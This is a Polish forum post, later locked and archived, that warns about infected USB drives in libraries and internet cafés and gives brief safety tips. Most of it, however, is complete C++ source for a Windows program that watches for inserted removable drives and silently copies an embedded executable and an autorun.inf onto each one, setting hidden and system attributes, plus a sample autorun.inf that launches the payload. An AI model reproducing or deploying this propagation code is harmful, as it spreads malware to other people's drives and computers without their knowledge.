Skocz do zawartości

Zablokowane [Artykuł] Zagrożenia dla naszego pendrive


RumcajsJumper

Rekomendowane odpowiedzi

a-bezpieczenstwo.png

 

Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak:

  • Biblioteki
  • Kafejki internetowe
  • Szkolna pracownia internetowa....

    Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.

    Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na
Narzędzia -> Opcje folderów -> Widok.

Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy

Ukryj chronione pliki systemu windows

Od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.


Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.

Na początku dołączamy pliki nagłówkowe takie jak:

#include <windows.h>
#include <string>
#include <vector>

Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC

void GetPendrives(std::vector<std::string>* pendrives)
{
char* bufor=new char[1024];
DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow
if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci
{
delete bufor;
bufor=new char[need];
GetLogicalDriveStrings(need,bufor);
}
int n=need/4; // ilosc dyskow
std::string* dyski=new std::string[n];
int i=0;

while(i<n) {
dyski[i]=(char*)(bufor+(i*4));
i++;
}
pendrives->clear();//usuwamy wszystko co jest w vectorze

i=0;
while(i<n) {
if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami
{
pendrives->push_back(dyski[i]);
}
i++;
}
}

Teraz czas na inne potrzebne nam funkcje

bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive
{
int n=vec.size();
int i=0;
while(i<n) {
if(vec[i]==str)
{
return true;
}
i++;
}
return false;
}
bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow
{
bool result = false;HRSRC hResource=NULL;hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA);

if(!hResource)
{
return result;
}
if( hResource != NULL ){
HGLOBAL hLoader = LoadResource(NULL,hResource);
if( hLoader != NULL ){
byte *data = (byte *)LockResource(hLoader);
DWORD len = SizeofResource(NULL,hResource);if( data != NULL && len > 0 ){

HANDLE hFile = CreateFile(filename,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if( hFile != INVALID_HANDLE_VALUE ){
DWORD written = 0;

int write = WriteFile(hFile,
data,
len,
&written,
NULL);
if( len == written && write == TRUE )
result = true;
}
CloseHandle(hFile);
}
UnlockResource(hLoader);
}
FreeResource(hLoader);
}
return result;
}

A ten kod umieszczamy wewnatrz main:

std::vector<std::string> vec;
GetPendrives(&vec);
int i=0;
while(i<vec.size()){
//w tym momecie wypakowujemy na wszystkie pendrivy nasz plik
//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
std::string exe=vec[i];
std::string autorun=vec[i];
exe+="Start.exe";
autorun+="autorun.inf";
ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
i++;
}
std::vector<std::string> tmp;
int n=0;
i=0;
while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy
{
GetPendrives(&tmp);
n=tmp.size();
i=0;
while(i<n) {
if(!FindInVector(tmp[i].c_str(),vec))
{
//w tym momecie wypakowujemy na ten dysk nasz plik
//przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006
std::string exe=tmp[i];
std::string autorun=tmp[i];
exe+="Start.exe";
autorun+="autorun.inf";
ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy
ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy
SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy
SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy}
i++;
}
vec=tmp;
Sleep(10000);
}

Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w google

Przykładowy plik autorun:

[autorun]
OPEN=Start.exe
shellexecute=Start.exe
shell=Auto
shellAuto=&Autoplay
shellAutocommand=Start.exe

Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005

Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivy

Autor artykułu: Grzonu (grzonu.com.pl)

 

POSZUKUJE WSPÓLNIKÓW / OPIEKUNÓW - NA SERWERKI CS:GO!

:!!: Skontaktuj się ze mną po więcej szczegółów :!!:

Odnośnik do komentarza
Udostępnij na innych stronach

  • 1 rok później...

 

Wiadomość automatyczna

 

Temat został przeniesiony z

"STREFA POMOCYHacking"

do

"Archiwum ForumTematy Archiwalne".

POSZUKUJE WSPÓLNIKÓW / OPIEKUNÓW - NA SERWERKI CS:GO!

:!!: Skontaktuj się ze mną po więcej szczegółów :!!:

Odnośnik do komentarza
Udostępnij na innych stronach

Gość
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie